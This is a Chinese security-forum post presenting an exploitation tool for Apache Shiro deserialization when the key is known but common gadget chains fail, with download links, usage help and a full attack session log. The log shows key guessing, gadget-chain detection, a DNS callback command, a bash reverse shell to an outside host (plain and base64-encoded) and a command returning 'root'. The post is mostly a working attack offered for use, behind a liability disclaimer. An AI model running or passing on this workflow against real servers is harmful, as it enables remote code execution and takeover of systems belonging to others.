安全矩阵

 找回密码
 立即注册
搜索
查看: 2005|回复: 0

Shiro有key无链的情况下的利用工具

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-9-11 19:25:16 | 显示全部楼层 |阅读模式
NightCrawler TtTeam 2023-09-07 09:42 发表于广东

免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

Shiro

01

前言
在攻防和渗透的时候经常遇到shrio有Key没链的情况,因为常规使用的那两款工具当检测到有Key没有利用链的时候还是无法进一步拿shell,所以说一下另一款工具。有Key没链可以尝试一下,但是能不能成功就看运气了。

这俩工具有key无链,常规链无法利用。


  1. https://github.com/altEr1125/ShiroAttack2
  2. https://github.com/SummerSec/ShiroAttack
  3. https://github.com/wyzxxz/shiro_rce_tool
复制代码

02

其它链JRMPClient

shiro_tool这款工具可以检测其他不是常规的利用链,看一下这个shiro_tool,还挺多的



  1. download_url:https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/20221128/shiro_tool.jar

  2. 优化一些功能:
  3. 1、spring/tomcat回显,执行命令的时候,x=whoami 就行
  4. 2、批量检测是否shiro
  5. 3、目标服务器不出网的情况下探测
  6. 4、key 目前 401 个。
  7. 5、默认会加载当前目录下的 keys.txt 文件,可以把key放到keys.txt里,和该jar放同一个目录,会自动加载。


  8. > java -jar shiro_tool.jar
  9. Usage: java -jar shiro_tool.jar https://xx.xx.xx.xx
  10. nocheck     --> skip check target is shiro or not.
  11. skip        --> all gadget default can be use
  12. redirect    --> follow redirect default:false
  13. randomagent --> random useragent
  14. notcheckall --> not check all gadget
  15. useragent=  --> set useragent
  16. cookiename= --> default: rememberMe      不是rememberMe的时候用
  17. x=          --> print result
  18. cmd=        --> set command to run
  19. dcmd=       --> set command to run, command format base64 string
  20. key=        --> set a shiro key
  21. req=        --> request body file   request body file 抓包保存到文件里,这里写文件名
  22. keys=       --> keys file       自定义key的文件,key按行分割,即每行写一个
  23. java -cp shiro_tool.jar shiro.Check urls=批量url文件  redirect
  24. java -cp shiro_tool.jar shiro.Check http://www.shiro.com


  25. [admin@ shiro] java -jar shiro_tool.jar https://xx.xx.xx.xx/         
  26. [-] target: https://xx.xx.xx.xx/
  27. [-] target is use shiro
  28. [-] start guess shiro key.
  29. [-] shiro key: kPH+bIxk5D2deZiIxcaaaA==
  30. [-] check URLDNS
  31. [*] find: URLDNS can be use
  32. [-] check CommonsBeanutils1
  33. [*] find: CommonsBeanutils1 can be use
  34. [-] check CommonsBeanutils2
  35. [-] check CommonsCollections1
  36. [-] check CommonsCollections2
  37. [-] check CommonsCollections3
  38. [-] check CommonsCollections4
  39. [-] check CommonsCollections5
  40. [-] check CommonsCollections6
  41. [-] check CommonsCollections7
  42. [-] check CommonsCollections8
  43. [-] check CommonsCollections9
  44. [-] check CommonsCollections10
  45. [-] check CommonsCollectionsK1
  46. [-] check CommonsCollectionsK2
  47. [-] check CommonsCollectionsK3
  48. [-] check CommonsCollectionsK4
  49. [-] check Groovy1
  50. [*] find: Groovy1 can be use
  51. [-] check JSON1
  52. [*] find: JSON1 can be use
  53. [-] check Spring1
  54. [*] find: Spring1 can be use
  55. [-] check Spring2
  56. [-] check JRMPClient
  57. [*] find: JRMPClient can be use
  58. [*] JRMPClient please use: java -cp shiro_tool.jar ysoserial.exploit.JRMPListener
  59. 0: URLDNS
  60. 1: CommonsBeanutils1
  61. 2: Groovy1
  62. 3: JSON1
  63. 4: Spring1
  64. 5: JRMPClient
  65. [-] please enter the number(0-6)
  66. 3
  67. [-] use gadget: JSON1
  68. [*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
  69. [*] command example: curl dnslog.xx.com
  70. [*] if need base64 command, input should startwith bash=/powershell=/python=/perl=
  71. [-] please enter command, input q or quit to quit
  72. > curl json.dnslog.xx.cn
  73. [-] start process command: curl json.dnslog.xx.cn
  74. [-] please enter command, input q or quit to quit
  75. > bash=bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
  76. [-] start process command: bash -c {echo,YmFzaD1iYXNoIC1pID4mIC9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzgwIDA+JjE=}|{base64,-d}|{bash,-i}
  77. [-] please enter command, input q or quit to quit
  78. > output=on
  79. [-] print payload mode on.
  80. [-] please enter command, enter q or quit to quit, enter back to re-choose gadget
  81. > whoami
  82. kPH+bIxk5D2deZiIxcaaaA== - CommonsBeanutils1 - zEC2T+ZP+ib2g+NLMrrU0LRsNu3lr7kjq
  83. 82987eI8FZxA8ckaX8LsMNHdParxVS9aYg0Oxl91WD5GztG6Dmg/QO/sjxi+kX/sFpHgqwtG4MCQoogH
  84. Jkhnj73PI6Wn8AJWQyXoOGNMkyboGcEm0Ti1h+WMGQEqw57tRl7Pjr0pMr2oZcUj9huwC/Lfr090FX7v
  85. rPrU5JnQm2Qo7ZrMPnxENXs0yMT6HfU75OejeF6kXbWTaGlvfByscF1ljoDR/k2txdQ1eK4nZ4ReOAqM
  86. uUeeaXwirEw2kg58GktvB2Ghw4egXJBQUdP3H8iE+zrkf12YlPs/RAOq8w0mWfvwB7EnCW3Z83YP8vV1
  87. +reLT9oNyUpCfjKyQVodnpZJY7If4F9al8He7E832RR3mhFvsjJDyNFTbB4TPrRqFDehSVuHib5qkh0s
  88. 0YjvCGErxDLH9pFS4G9rNYQeAnXBKeNzS5q2O0xCe5xg4X6l8R6XsU2/V1d6wd27U7u18+DJlo/v58vj
  89. SyUtUaEAAuMN9C30Rr+r7Tk9MVC55eS8l82fURpUwttcRADhJ0esKHAFFAkwnisbAb4Uugz3IADojYlH
  90. BNFtWFuV2dsuqkionEROKLIdVHJGR8URmk79v8lbLbpCWI3cTCf81SwwBoYylKXCyHX2X08VlEUvuHWk
  91. ypx9gVvDuQQQFTGP4ljwpU1NlQPqxaLXmnZ5TyJN2sycL9s8VWMYls4uFATtMkpXXcwaQGFVjCzFrABv
  92. [-] please enter command, enter q or quit to quit, enter back to re-choose gadget
  93. > x=whoami
  94. root

  95. [-] please enter command, enter q or quit to quit, enter back to re-choose gadget
  96. > quit
  97. [-] start process command: quit
  98. [-] quit
复制代码

03

工具下载

https://github.com/altEr1125/ShiroAttack2
https://github.com/SummerSec/ShiroAttack
https://github.com/wyzxxz/shiro_rce_tool
https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/20221128/shiro_tool.jar


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 09:29 , Processed in 0.012959 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表